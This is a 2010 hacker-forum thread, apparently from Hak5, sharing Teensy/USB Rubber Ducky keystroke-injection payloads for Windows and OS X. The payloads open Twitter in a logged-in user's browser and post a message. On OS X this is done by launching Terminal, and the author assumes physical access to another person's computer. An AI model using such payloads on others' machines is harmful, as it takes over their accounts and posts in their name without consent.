Seshan Posted May 1, 2010 Share Posted May 1, 2010 (edited) This will automatically post to twitter. User has to be logged in. I'll be adding it to the wiki ( http://www.hak5.org/projects/doku.php?id=usb_rubber_ducky ) Windows Code http://drp.ly/Vca2f // Automatic twitter poster for Windows, User must be logged into twitter for this to work. // Created by Seshan 30/04/10 11:48 PM int ledPin = 11; void setup() { pinMode(ledPin, OUTPUT); // put this before other led commands or the LED will be dim ledstart(); // lights up when connected delay(3000); // delay for computer ledstart(); // lights up when payload starts // opens run Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_R); Keyboard.send_now(); d(); // this is a 100ms delay, see below for commands. Keyboard.print("www.twitter.com"); // goes to twitter d(); enter(); delay(6000); // delay for browser to load Keyboard.print("This is a test"); // this is what gets posted to twitter, change this to what ever you want d(); Keyboard.set_key2(KEY_TAB); Keyboard.send_now(); enter(); Keyboard.set_key2(0); ledend(); // delay to stop it running again, 9000!!! milli-sec. delay(9000); } void loop() { } // hits enter void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } // LED command for end of script. void ledend(){ digitalWrite(ledPin, HIGH); delay (500); digitalWrite(ledPin, LOW); delay (500); digitalWrite(ledPin, HIGH); delay (500); digitalWrite(ledPin, LOW); } // LED command for start of script void ledstart(){ digitalWrite(ledPin, HIGH); delay (1000); digitalWrite(ledPin, LOW); } // delay 100ms void d(){ delay(100); } OS X Code http://drp.ly/Vci76 // Automatic twitter poster for OS X, User must be logged into twitter for this to work. // Created by Seshan 30/04/10 1:34 AM int ledPin = 11; void setup() { pinMode(ledPin, OUTPUT); // put this before other led commands or the LED will be dim ledstart(); // lights up when connected delay(3000); // delay for computer ledstart(); // lights up when payload starts // quits the pop up you get on OS X with new keyboards Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_Q); Keyboard.send_now(); enter(); // hits enter, see below for commands d(); // this is a 100ms delay, see below for commands. spotlight(); // opens spotlight, see below for commands Keyboard.print("Terminal.app"); // types terminal enter(); delay(1000); Keyboard.print("open http://www.twitter.com && killall Terminal"); // thanks to Psychosis for the killall terminal command d(); enter(); delay(4500); Keyboard.print("This is a test"); // this is what gets posted to twitter, change this to what ever you want d(); Keyboard.set_key2(KEY_TAB); Keyboard.send_now(); enter(); Keyboard.set_key2(0); ledend(); // delay to stop it running again, 9 sec. delay(9000); } void loop() { } // hits enter void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } // opens spotlight void spotlight(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); } // LED command for end of script. void ledend(){ digitalWrite(ledPin, HIGH); delay (500); digitalWrite(ledPin, LOW); delay (500); digitalWrite(ledPin, HIGH); delay (500); digitalWrite(ledPin, LOW); } // LED command for start of script void ledstart(){ digitalWrite(ledPin, HIGH); delay (1000); digitalWrite(ledPin, LOW); } // delay 100ms void d(){ delay(100); } Edited May 3, 2010 by Seshan Quote Link to comment Share on other sites More sharing options...
NanoyMaster Posted May 3, 2010 Share Posted May 3, 2010 (edited) why are you using d(); when theres already delay();.. seems like a waste of code? you should send gui + r keys at the same time, speeds things up and user doesn't get a chance to click elsewhere the majority of this code is just playing with the LED. could make it smaller/cleaner, but other than that not bad.. it works, and serves a purpose Edited May 3, 2010 by NanoyMaster Quote Link to comment Share on other sites More sharing options...
Seshan Posted May 3, 2010 Author Share Posted May 3, 2010 (edited) Well, Assuming you are at the persons computer, it would be hard for them to click somewhere. I like having the LED's giving you feed back, so if something goes wrong, you know where it should of been in the script by the LED's blinking. I'm using d(); because I didn't feel like put delay(100); all the time, this way it saves some space, and having little delays helps prevent it from messing up. *edit*, I also just realized i forgot to change it to terminal.app, since I don't use spotlight I use quicksilver, I have it set for just terminal. Another problem to think of. :| Edited May 3, 2010 by Seshan Quote Link to comment Share on other sites More sharing options...
Bobbers Posted May 18, 2010 Share Posted May 18, 2010 (edited) Hey great stuff! I modified the [OSX] code to login to twitter and cut down on the un-necessary light blinking (cause i felt like it) tell me what you think! Please comment if I made a mistake im new to the Teensy and want to learn from my mistakes. [OSX] Twitter poster EDIT: whenever I add my code to the Codebox other text is being added so im going to upload in as picture P.S this is Your code Edited by myself. I take no credit for the original code and don't want you to take credit for the mistakes I might have made EDIT: Anyone? I need some feedback plz! thanks. . Edited June 2, 2010 by Bobbers Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.